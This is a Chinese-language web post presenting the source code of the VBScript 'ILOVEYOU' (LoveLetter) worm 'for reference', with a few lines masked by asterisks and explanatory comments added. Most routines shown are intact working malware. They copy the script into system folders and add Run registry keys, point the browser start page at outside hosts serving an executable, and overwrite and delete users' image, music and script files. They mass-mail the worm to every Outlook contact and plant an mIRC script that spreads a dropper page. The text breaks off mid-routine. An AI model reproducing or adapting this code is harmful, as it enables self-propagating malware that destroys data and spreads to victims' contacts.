VB病毒:[我爱你]病毒源代码（仅提供参考）

淼楠

☆ “我爱你”的病毒源代码(有部分被*号覆盖 ☆

rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
''Comments begining with '' added by The Hidden May 4 2000
On Error Resume Next
dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow

eq=""
ctr=0
*****************
*******************
vbscopy=file.ReadAll

main()


sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
''check the time out value for WSH
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
'' Set script time out to infinity
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD"
end if
''Create three copies of the script in the windows, system32 and temp folders
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
''Set IE default page to 1 of four locations that downloads an executable.
''If the exectuable has already been downloaded set it to run at the next login and set IE''s start
page to be blank
regruns()
''create an html file that possibly runs an activex component and runs one of the copies of the script
html()
''Resend script to people in the WAB
spreadtoemail()
''overwrite a number of file types with the script
''if the files are not already scripts create a script file with the same name with vbs extention and
''delete the original file
''mirc client have a script added to send the html file created earlier to a channel
listadriv()
end sub


sub regruns()
On Error Resume Next
Dim num, downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread = ""
downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
if (downread = "") then
downread = "c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe") = 1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679nj
bvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGb
vbmKLJKjhkqj4w/
WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WI
N-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglk
NBhbqwebm
znxcbvnmadshf
gqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread & "\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "about:blank"
end if
end sub

sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path & "\")
******
******
*******
********
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext = fso.GetExtensionName(f1.path)
ext = lcase(ext)
s = lcase(f1.name)
if (ext = "vbs") or (ext = "vbe") then
set ap = fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext = "js") or (ext = "jse") or (ext = "css") or _
(ext = "wsh") or (ext = "sct") or (ext = "hta") then
set ap = fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname = fso.GetBaseName(f1.path)
set cop = fso.GetFile(f1.path)
cop.copy(folderspec & "\" & bname & ".vbs")
fso.DeleteFile(f1.path)
elseif(ext = "jpg") or (ext = "jpeg") then
set ap=fso.OpenTextFile(f1.path, 2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path & ".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3 = fso.CreateTextFile(f1.path & ".vbs")
mp3.write vbscopy
mp3.close
set att = fso.GetFile(f1.path)
att.attributes = att.attributes + 2
end if
if (eq<>folderspec) then
if (s = "mirc32.exe") or (s = "mlink32.exe") or (s = "mirc.ini") or _
(s = "script.ini") or (s = "mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub

sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
*************

**************
next
end sub

sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub

function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget = regedit.RegRead(value)
end function

function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function

function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function

sub spreadtoemail()
On Error Resume Next
dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad
set regedit = CreateObject("WScript.Shell")
set out = WScript.CreateObject("Outlook.Application")
set mapi = out.GetNameSpace("MAPI")
for ctrlists = 1 to mapi.AddressLists.Count
set a = mapi.AddressLists(ctrlists)
x = 1
regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a)
if (regv = "") then
regv = 1
end if
if (int(a.AddressEntries.Count) > int(regv)) then
for ctrentries = 1 to a.AddressEntries.Count
malead = a.AddressEntries(x)
regad = ""
regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead)
if (regad = "") then
set male = out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead, 1, "REG_DWORD"
end if
x = x + 1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out = Nothing
Set mapi = Nothing
end sub

sub html
On Error Resume Next
dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6
dta1= "<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@
CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _
"<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML&nb